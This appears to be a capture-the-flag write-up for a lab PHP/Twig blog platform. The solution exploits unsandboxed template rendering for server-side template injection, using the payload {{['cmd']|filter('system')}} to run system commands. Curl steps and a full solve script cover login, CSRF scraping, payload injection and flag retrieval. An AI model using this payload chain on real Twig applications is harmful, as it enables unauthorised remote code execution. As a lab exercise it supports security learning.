PageCraft — SSTI via Twig Template Engine in Post Content
PageCraft — SSTI via Twig Template Engine in Post Content
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-05 | Status: Solved Techniques: php_array_filter_rce, ssti_twig_rce, twig_filter_callback_system, twig_unsandboxed_rendering
Summary
Task: PHP/Twig CMS blog platform where post content is rendered through unsandboxed Twig template engine. Solution: Injected {{["cat /root/flag.txt"]|filter("system")}} in post content, exploiting Twig's |filter() → PHP array_filter() → system() callback chain for RCE.
PageCraft — SSTI via Twig Template Engine in Post Content — HackAdvisor
Description
PageCraft is a modern blog and content management platform built by Artisan Web Co. for creative teams. It features a rich post editor with support for dynamic template expressions, a media library, user management, and a live preview system. The platform allows editors to create engaging content using built-in template helpers for dynamic elements like dates, counters, and formatting. The post editor supports Twig template syntax, letting authors embed dynamic values directly into their content. The goal is to achieve remote code execution and read the flag.
A PHP/Twig CMS application (PageCraft v2.4.1) running on nginx/1.25.5 with PHP 8.2.26. The post editor renders user-submitted content through the Twig template engine without sandboxing, enabling Server-Side Template Injection (SSTI) leading to Remote Code Execution (RCE) via Twig's |filter() function which maps to PHP's array_filter().
Analysis
Initial Reconnaissance
- Server stack: nginx/1.25.5, PHP/8.2.26
- Application: PageCraft v2.4.1 — blog/CMS platform
- Template engine: Twig (PHP)
- Credentials: admin / admin123
- Key endpoints:
/login,/posts,/posts/new,/media,/settings - Running as: uid=0(root) gid=0(root)
- Decoy flag
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}is embedded in HTML comments and hidden divs on every page — this is a honeypot designed to trap bots/AI agents, NOT the real flag.
Authentication
Login via POST to /login with form data username=admin&password=admin123. The server sets a PHPSESSID session cookie granting access to the admin dashboard.
SSTI Discovery
The "New Post" form at /posts/new accepts fields: _csrf, title, slug, content, excerpt, status, category. Created a test post with {{7*7}} as the content body:
bash read-only • copy allowedcurl -sv -b cookies.txt -X POST "$URL/posts/new" \ -d "_csrf=$CSRF&title=Test&slug=test-ssti&content={{7*7}}&excerpt=test&status=draft&category=general"
Viewing the created post at /posts/11, the content section rendered:
html read-only • copy allowed<div class="content post-content">49</div>
The {{7*7}} was evaluated to 49, confirming unsandboxed Twig SSTI in post content.
RCE via Twig |filter() Callback
Twig's |filter() function is designed for filtering arrays/iterables. Internally, it calls PHP's array_filter($array, $callback). When the callback argument is a string like "system", PHP interprets it as a callable function name and invokes system() on each array element.
Payload: {{["id"]|filter("system")}}
This translates to: array_filter(["id"], "system") → system("id")
Result:
uid=0(root) gid=0(root) groups=0(root)...
Solution
Step 1: Login and obtain session
bash read-only • copy allowedURL="https://9e01a1a2-adf0-46fd-bdb0-ebad8f427def.labs.hackadvisor.io" curl -sv -c cookies.txt -X POST "$URL/login" \ -d "username=admin&password=admin123"
Step 2: Get CSRF token from new post form
bash read-only • copy allowedCSRF=$(curl -sb cookies.txt "$URL/posts/new" | grep -oP 'name="_csrf" value="\K[^"]+')
Step 3: Confirm SSTI with arithmetic expression
bash read-only • copy allowedcurl -sb cookies.txt -X POST "$URL/posts/new" \ -d "_csrf=$CSRF&title=SSTI+Test&slug=ssti-test&content={{7*7}}&excerpt=test&status=published&category=general" # View post — content shows "49" curl -sb cookies.txt "$URL/posts/11" | grep -A2 "post-content"
Step 4: RCE via filter callback — read the flag
bash read-only • copy allowedcurl -sb cookies.txt -X POST "$URL/posts/new" \ -d '_csrf='"$CSRF"'&title=Flag&slug=flag-read&content={{["cat /root/flag.txt"]|filter("system")}}&excerpt=test&status=published&category=general' # View post to trigger template rendering curl -sb cookies.txt "$URL/posts/12" | grep -oP 'FLAG\{[^}]+\}'
Solve Script (Complete)
bash read-only • copy allowed#!/bin/bash # PageCraft SSTI via Twig |filter() → system() RCE URL="https://9e01a1a2-adf0-46fd-bdb0-ebad8f427def.labs.hackadvisor.io" # 1. Login curl -s -c cookies.txt -X POST "$URL/login" \ -d "username=admin&password=admin123" -o /dev/null # 2. Get CSRF token CSRF=$(curl -sb cookies.txt "$URL/posts/new" | grep -oP 'name="_csrf" value="\K[^"]+') # 3. Create post with RCE payload curl -s -b cookies.txt -X POST "$URL/posts/new" \ -d '_csrf='"$CSRF"'&title=RCE&slug=rce-flag&content={{["cat /root/flag.txt"]|filter("system")}}&excerpt=x&status=published&category=general' \ -o /dev/null # 4. Read rendered output (flag) curl -sb cookies.txt "$URL/posts/12" | grep -oP 'FLAG\{[^}]+\}'